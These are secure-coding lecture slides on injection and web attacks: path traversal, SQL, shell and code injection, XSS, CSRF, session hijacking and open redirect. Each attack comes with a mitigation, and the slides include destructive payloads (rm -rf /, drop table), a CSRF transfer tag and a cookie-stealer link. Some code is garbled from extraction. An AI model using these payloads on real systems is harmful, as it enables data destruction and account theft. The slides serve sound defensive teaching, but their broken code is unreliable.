• User supplied data is used to create a path, and program security requires but does not verify that the path is in a particular subtree of the directory structure, allowing unintended access to files and directories that can compromise the security of the system.
  – Usually `<program-defined-path-prefix> + '/' + <user-data>`

<table>
<thead>
<tr>
<th>&lt;user-data&gt;</th>
<th>Directory Movement</th>
</tr>
</thead>
<tbody>
<tr>
<td>. or empty string</td>
<td>up</td>
</tr>
<tr>
<td>down</td>
<td></td>
</tr>
</tbody>
</table>

• Mitigations
  – Validate final path is in required directory using canonical paths (`realpath`)
  – Do not allow above patterns to appear in user supplied part (if symbolic links exists in the safe directory tree, they can be used to escape)
  – Use chroot or other OS mechanisms
Vulnerability Assessment and Secure Coding Practices

**Successful Directory Traversal Attack**

1. Users requests
   
   `File="....//etc/passwd"`

   ```java
   String path = request.getParameter("file");
   path = "/safedir/" + path;
   // remove ../" to prevent escaping out of /safedir
   Replace(path, ".//", "/");
   File f = new File(path);
   f.delete();
   ```

   Before Replace: `path = "/safedir/....//etc/passwd"`
   After Replace: `path = "/safedir/../etc/passwd"`

   Moral: Don't try to fix user input, verify and reject instead

2. Server deletes `/etc/passwd`

**Mitigated Directory Traversal**

1. Users requests
   
   `File="../etc/passwd"

   ```java
   String file = request.getParameter("file");
   if (file.length() == 0) {
     throw new PathTraversalException(file + " is null");
   }
   File prefix = new File(new File("/safedir").getCanonicalPath());
   File path = new File(prefix, file);
   if (!PathTraversalException(path + " is invalid"));
   path.getAbsolutePath().delete();
   ```

   2. Throws error
   
   `/safedir/../etc/passwd is invalid`

**Command Line**

- **Description**
  - Convention is that `argv[0]` is the path to the executable
  - Shells enforce this behavior, but it can be set to anything if you control the parent process

- **General causes**
  - Using `argv[0]` as a path to find other files such as configuration data
  - Process needs to be setuid or setgid to be a useful attack
Vulnerability Assessment and Secure Coding Practices

Command Line

Want to run: `ls -l foo`

```c
execlp("/bin/ls", "/bin/ls", "-l", "foo", NULL);
```

So, now, we are using the config file from the attacker: `/bin/evil.config`

Environment

- List of (name, value) string pairs
- Available to program to read
- Used by programs, libraries and runtime environment to affect program behavior

Mitigations:
- Clean environment to just safe names & values
- Don't assume the length of strings
- Avoid PATH, LD_LIBRARY_PATH, and other variables that are directory lists used to look for execs and libs

Injection Attacks
Injection Attacks

- Description
  - A string constructed with user input, that is then interpreted by another function, where the string is not parsed as expected
    - Command injection (in a shell)
    - Format string attacks (in printf/scanf)
    - SQL injection
    - Cross-site scripting or XSS (in HTML)
- General causes
  - Allowing metacharacters
  - Not properly neutralizing user data if metacharacters are allowed

SQL Injections

- User supplied values used in SQL command must be validated, quoted, or prepared statements must be used
- Signs of vulnerability
  - Uses a database mgmt system (DBMS)
  - Creates SQL statements at run-time
  - Inserts user supplied data directly into statement without validation

SQL Injections: attacks and mitigations

- Dynamically generated SQL without validation or quoting is vulnerable
  ```perl
  $u = " '; drop table t --";
  $sth = $dbh->do("select * from t where u = '$u'");
  ```
  Database sees two statements:
  ```sql
  select * from t where u = ' '; drop table t --'
  ```
- Use prepared statements to mitigate
  ```perl
  $sth = $dbh->do("select * from t where u = ?", $u);
  ```
  – SQL statement template and value sent to database
  – No mismatch between intention and use
Successful SQL Injection Attack

1. User sends malicious data
   
   ```java
   boolean login(String user, String pwd) {
       boolean loggedIn = false;
       conn = pool.getConnection();
       stmt = conn.createStatement();
       rs = stmt.executeQuery("SELECT * FROM members WHERE u='admin' AND p=''");
       if (rs.next())
           loggedIn = true;
   }
   ```

2. DB Queried

3. Returns all rows of table members

4. System grants access
   `Login() returns true`

Mitigated SQL Injection Attack

1. User sends malicious data

2. DB Queried

3. Returns null set

4. System does not grant access
   `Login() returns false`

---

Vulnerability Assessment and
Secure Coding Practices

---

http://xkcd.com/327
Command Injections

- User supplied data used to create a string that is the interpreted by command shell such as /bin/sh
- Signs of vulnerability
  - Use of popen, or system
  - exec of a shell such as sh, or csh
- Argument injections, allowing arguments to begin with "-" can be dangerous
- Usually done to start another program
  - That has no C API
  - Out of laziness

Command Injection Mitigations

- Check user input for metacharacters
- Neutralize those that can't be eliminated or rejected
  - replace single quotes with the four characters, "\"", and enclose each argument in single quotes
- Use fork, drop privileges and exec for more control
- Avoid if at all possible
- Use C API if possible

Command Argument Injections

- A string formed from user supplied input that is used as a command line argument to another executable
- Does not attack shell, attacks command line of program started by shell
- Need to fully understand command line interface
- If value should not be an option
  - Make sure it doesn't start with a -
  - Place after an argument of -- if supported
**Command Argument Injection Example**

- **Example**
  ```c++
  snprintf(userMsg, sSize, "/bin/mail -s hi %s", email);
  M = popen(userMsg, "w");
  fputs(userMsg, M);
  pclose(M);
  ```

  - If email is `-I`, turns on interactive mode ...
  - ... so can run arbitrary code by if userMsg includes: `~!cmd`

**Perl Command Injection Danger Signs**

- **open(F, $filename)**
  - File name is a tiny language besides opening
    - Open files in various modes
    - Can start programs
    - dup file descriptors
  - If $filename is "rm -rf /!", you probably won't like the result
  - Use separate mode version of open to eliminate vulnerability

- **Vulnerable to shell interpretation**
  ```perl
  open(C, "$cmd")
  open(C, "|", $cmd)
  open(C, "|", $cmd)
  $cmd` qx/$cmd/
  system($cmd)
  ```

- **Safe from shell interpretation**
  ```perl
  open(C, "|", @argList)
  open(C, "|--", @cmdList)
  system(@argList)
  ```
Perl Command Injection Examples

- open(CMD, "|/bin/mail -s $sub $to");
  - Bad if $to is "badguy@evil.com; rm -rf /
- open(CMD, "|/bin/mail -s '$sub' '$to'" );
  - Bad if $to is "badguy@evil.com': rm -rf '/"
- ($qSub = $sub) =~ s/\'/\'\'/g;
  ($qTo = $to) =~ s/\'/\'\'/g;
  open(CMD, "|/bin/mail -s '$qSub' '$qTo'" );
  - Safe from command injection
- open(cmd, "-", "/bin/mail", "-s", $sub, $to);
  - Safe and simpler: use this whenever possible.

Eval Injections

- A string formed from user supplied input that is used as an argument that is interpreted by the language running the code
- Usually allowed in scripting languages such as Perl, sh and SQL
- In Perl eval($s) and s/$pat/$replace/ee
  - $s and $replace are evaluated as perl code

Rubi Command Injection Danger Signs

- Functions prone to injection attacks:
  • Kernel.system(os command)
  • Kernel.exec(os command)
  • `os command` # back tick operator
  • %x[os command]
  • eval(ruby code)
Python Command Injection Danger Signs

- Functions prone to injection attacks:
  - `exec()`  # dynamic execution of Python code
  - `eval()`  # returns the value of an expression or code object
  - `os.system()`  # execute a command in a subshell
  - `os.popen()`  # open a pipe to/from a command
  - `execfile()`  # reads & executes Python script from a file.
  - `input()`  # equivalent to `eval(raw_input())`
  - `compile()`  # compile the source string into a code object that can be executed

Successful OS Injection Attack

1. User sends malicious data
   `hostname=x.com;rm -rf /*`

2. Application uses `nslookup` to get DNS records
   ```java
   String rDomainName(String hostname) {
     String cmd = "/usr/bin/nslookup " + hostname;
     Process p = Runtime.getRuntime().exec(cmd);
   }
   ```

3. System executes `nslookup x.com;rm -rf /*`

4. All files possible are deleted

Mitigated OS Injection Attack

1. User sends malicious data
   `hostname=x.com;rm -rf /*`

2. Application uses `nslookup` only if input validates
   ```java
   String rDomainName(String hostname) {
     if (hostname.matches("[A-Za-z0-9]+\.[A-Za-z0-9-\.]*\.[A-Za-z0-9-]+\]) {  
       String cmd = "/usr/bin/nslookup " + hostname;
       Process p = Runtime.getRuntime().exec(cmd);
   } else { 
       System.out.println("Invalid host name");
   }
   ```

3. System returns error "Invalid host name"
Vulnerability Assessment and Secure Coding Practices

**Format String Injections**
- User supplied data used to create format strings in `scanf` or `printf`
- `printf(userData)` is insecure
  - `%n` can be used to write memory
  - Large field width values can be used to create a denial of service attack
  - Safe to use `printf("%s", userData)` or `fputs(userData, stdout)`
- `scanf(userData, ...)` allows arbitrary writes to memory pointed to by stack values
- ISO/IEC 24731 does not allow `%n`

**Code Injection**
- **Cause**
  - Program generates source code from template
  - User supplied data is injected in template
  - Failure to neutralize user supplied data
    - Proper quoting or escaping
    - Only allowing expected data
  - Source code compiled and executed
- **Very dangerous** – high consequences for getting it wrong: arbitrary code execution

**Code Injection Vulnerability**

1. Log file – name's value is user controlled
   ```
   $data = ReadLogFile('logfile');
   PH = open('/usr/bin/python');
   print PH "import LogIt;":
   while (($k, $v) = (each %data)) {
       if ($k eq 'name') {
           print PH "LogIt.Name(';import os;os.system('evilprog');#');":
   ```

2. Perl log processing code – uses Python to do real work
   ```
   Data = ReadLogFile('logfile');
   PH = open('/usr/bin/perl');
   print PH "import LogIt;":
   while (($k, $v) = (each $data)) {
       if ($k eq 'name') {
           print PH "LogIt.Name('');":
   ```

3. Python source executed – 2nd LogIt executes arbitrary code
   ```
   import LogIt;
   LogIt.Name('John Smith');
   LogIt.Name('');import os;os.system('evilprog');#')
   ```
Vulnerability Assessment and Secure Coding Practices

**Code Injection Mitigated**

1. \texttt{logfile} – name's value is user controlled

2. Perl logging processing code – use QuotePyString to safely create string literal

3. Python source executed – 2nd LogIt is now safe

---

**Safe DNS**

**Reverse DNS Lookup**

\textbf{Problem}: A server trying to determine of the client is from an appropriate domain.

\textbf{Common solution}: Look at the IP address for the other end of the socket, then do a reverse DNS lookup (RARP) on that address.

\textbf{Risk}: The RARP query goes to the server run by the owner of the IP address, and they can respond with anything they want.

\textbf{Solution}: After doing the RARP lookup, a DNS lookup (ARP) on the name returned and see if it matches the original IP address.

(All this assumes that you trust DNS in the first place!)
Vulnerability Assessment and Secure Coding Practices

```c
char *safe_reverse_lookup(struct in_addr *ip)
{
    struct hostent *hp;
    if ((hp=gethostbyaddr(ip,sizeof *ip AF_INET)) == NULL) return NULL;
    char *name = strdup(hp->h_name);
    if ((hp = gethostbyname(name)) == NULL) {
        free(name);
        return NULL;
    }
    char **p = hp->h_addr_list;
    while (*p) {
        if (!memcmp(ip, *p, hp->h_length)) return name;
        ++p;
    }
    free(name);
    return NULL;
}
```

Web Attacks

Cross Site Scripting (XSS)

- Injection into an HTML page
  - HTML tags
  - JavaScript code
- Reflected (from URL) or persistent (stored from prior attacker visit)
- Web application fails to neutralize special characters in user supplied data
- Mitigate by preventing or encoding/escaping special characters
- Special characters and encoding depends on context
  - HTML text
  - HTML tag attribute
  - HTML URL
Reflected Cross Site Scripting (XSS)

1. Browser sends request to web server:
   
   ```
   http://example.com?q=widget
   ```

2. Web server code handles request:
   ```
   String query = request.getParameter("q");
   if (query != null) {
      out.writeln("You searched for:
      + query);
   }
   ```

3. Generated HTML displayed by browser:
   ```
   <html>
   <body>
   You searched for:
   <script>alert('Boo!')</script>
   </body>
   </html>
   ```

   ```
   http://example.com?q=<script>alert('Boo!')</script>
   ```

   1. Browser sends request to web server:
   ```
   http://example.com?q=<script>alert('Boo!')</script>
   ```

2. Web server code correctly handles request:
   ```
   String query = request.getParameter("q");
   if (query != null) {
      if (query.matches("^\w*$"))  {
         out.writeln("You searched for:
         + query);  
      }  else  {
         out.writeln("Invalid query");  
      }
   }
   ```

   ```
   <html>
   <body>
   Invalid query
   </body>
   </html>
   ```

   ```
   http://example.com?q=<script>alert('Boo!')</script>
   ```

   1. Browser sends request to web server:
   ```
   http://example.com?q=<script>alert('Boo!')</script>
   ```

2. Web server code correctly handles request:
   ```
   String query = request.getParameter("q");
   if (query != null) {
      if (query.matches("^\w*$"))  {
         out.writeln("You searched for:
         + query);  
      }  else  {
         out.writeln("Invalid query");  
      }
   }
   ```

   ```
   <html>
   <body>
   Invalid query
   </body>
   </html>
   ```

   ```
   http://example.com?q=<script>alert('Boo!')</script>
   ```
Cross Site Request Forgery (CSRF)

- CSRF is when loading a web page causes a malicious request to another server.
- Requests made using URLs or forms (also transmits any cookies for the site, such as session or auth cookies).
  - `<form action=xfer method=POST>` HTTP POST method
  - `<input type=text name=amt>`
  - `<input type=text name=toAcct>`

- Web application fails to distinguish between a user initiated request and an attack.
- Mitigate by using a large random nonce.

Cross Site Request Forgery (CSRF)

1. User loads bad page from web server
   - XSS = Fake server
   - Bad guy’s server = Compromised server
2. Web browser makes a request to the victim web server directed by bad page
   - Tags such as `<img src='http://bank.com/xfer?amt=1000&toAcct=evil37'>`
   - JavaScript
3. Victim web server processes request and assumes request from browser is valid
   - Session IDs in cookies are automatically sent along

SSL does not help – channel security is not an issue here.

Successful CSRF Attack

1. User visits evil.com
   - `http://evil.com`
   - `<html>`
   - `<img src='http://bank.com/xfer?amt=1000&toAcct=evil37'>`
   - `</html>`
2. evil.com returns HTML
   - `http://evil.com`
   - `String id = response.getCookie("user");`
   - `userAcct = GetAcct(id);`
   - `If (userAcct != null) {
      deposits.xfer(userAcct, toAcct, amount);
   }`
3. Browser sends attack
   - `4. bank.com server code handles request.`
CSRF Mitigation

1. User visits evil.com
2. evil.com returns HTML
3. Browser sends attack
4. bank.com server code correctly handles request

Very unlikely attacker will provide correct nonce

... String nonce = (String) session.getAttribute("nonce");
String id = response.getCookie("user");
if (!Utils.isEmpty(nonce)
    || nonce.equals(getParameter("nonce")
        )
    
Login(); // no nonce or bad nonce, force login
    
return; // do NOT perform request
    
} // nonce added to all URLs and forms

userAcct = GetAcct(id);

if (userAcct != null) {
    deposits.xfer(userAcct, toAcct, amount);
}

Successful Weak Server Side Control

1. Android activity sets session cookies and loads URL
2. Web page contains a malicious link
3. Cookies stealer script

...<a href="javascript:location='cookiestealer.php?cookie='+document.cookie"> Advertisement link </a>
...
</html>

$cookie=$HTTP_GET_VARS["cookie"]; fwrite($file,$cookie); // session=sensitive_val

Mitigated Weak Server Side Control

Option 1:
Disable Javascript
webView.setJavascriptEnabled(false);

Option 2:
Implement checksum on WebView Load URL
webView.setWebViewClient(new WebViewClient(){
    public shouldOverrideUrlLoading(WebView wv, String url){
        // Checksum on url
        wv.loadUrl(url);
    }
});
Vulnerability Assessment and Secure Coding Practices

Session Hijacking

- **Session IDs identify a user's session in web applications.**
- **Obtaining the session ID allows impersonation**
- **Attack vectors:**
  - Intercept the traffic that contains the ID value
  - Guess a valid ID value (weak randomness)
  - Discover other logic flaws in the sessions handling process

Good Session ID Properties

```c
int getRandomNumber()
{
    return 4; // chosen by fair dice roll.
    // guaranteed to be random
}
```

- **Hard to guess**
  - Large entropy (big random number)
  - No patterns in IDs issued
- **No reuse**

Session Hijacking Mitigation

- **Create new session id after**
  - Authentication
  - switching encryption on
  - other attributes indicate a host change (IP address change)
- **Encrypt to prevent obtaining session ID through eavesdropping**
- **Expire IDs after short inactivity to limit exposure of guessing or reuse of illicitly obtained IDs**
- **Entropy should be large to prevent guessing**
- **Invalidate session IDs on logout and provide logout functionality**
Vulnerability Assessment and Secure Coding Practices

Session Hijacking Example
1. An insecure web application accepts and reuses a session ID supplied to a login page.
2. Attacker tricked user visits the web site using attacker chosen session ID
3. User logs in to the application
4. Application creates a session using attacker supplied session ID to identify the user
5. The attacker uses session ID to impersonate the user

Successful Hijacking Attack

Mitigated Hijacking Attack
Open Redirect
(AKA: URL Redirection to Untrusted Site, and Unsafe URL Redirection)

- **Description**
  - Web app redirects user to malicious site chosen by attacker
    - URL parameter (reflected)
    - Previously stored in a database (persistent)
  - User may think they are still at safe site
  - Web app uses user supplied data in redirect URL

- **Mitigations**
  - Use white list of tokens that map to acceptable redirect URLs
  - Present URL and require explicit click to navigate to user supplied URLs

---

Open Redirect Example

1. User receives phishing e-mail with URL
2. User inspects URL, finds hostname valid for their bank
3. User clicks on URL
4. Bank’s web server returns a HTTP redirect response to malicious site
5. User’s web browser loads the malicious site that looks identical to the legitimate one
6. Attacker harvests user’s credentials or other information

---

Successful Open Redirect Attack

1. User receives phishing e-mail
   Dear bank.com costumer, Because of unusual number of invalid login attempts...
   Sign in to verify</a>
   ```java
   String url = request.getParameter("url");
   if (url != null) {
     response.sendRedirect(url);
   }
   ```
3. Web server redirects
   ```html
   Location: http://evil.com
   ```
   ```html
   <!-- Welcome to bank.com! -->
   Please enter your PIN ID:
   <form action="login">
   ...""`
5. Browser displays forgery
   ```html
   <!-- Welcome to bank.com! -->
   Please enter your PIN ID:
   <form action="login">
   ...""`
Open Redirect Mitigation

1. User receives phishing e-mail
   Dear bank.com customer,
   ...


3. bank.com server code correctly handles request
   boolean isValidRedirect(String url) {
       List<String> validUrls = new ArrayList<String>();
       validUrls.add("index");
       validUrls.add("login");
       return (url != null && validUrls.contains(url));
   } ...
   if (!isValidRedirect(url)) {
       response.sendError(response.SC_NOT_FOUND, "Invalid URL");
   } ...

Secure Coding Practices (and Other Good Things)

Elisa Heymann
Elisa.Heymann@uab.es

Barton P. Miller
James A. Kupsch
bart@cs.wisc.edu

http://www.cs.wisc.edu/mist/

Questions?

http://www.cs.wisc.edu/mist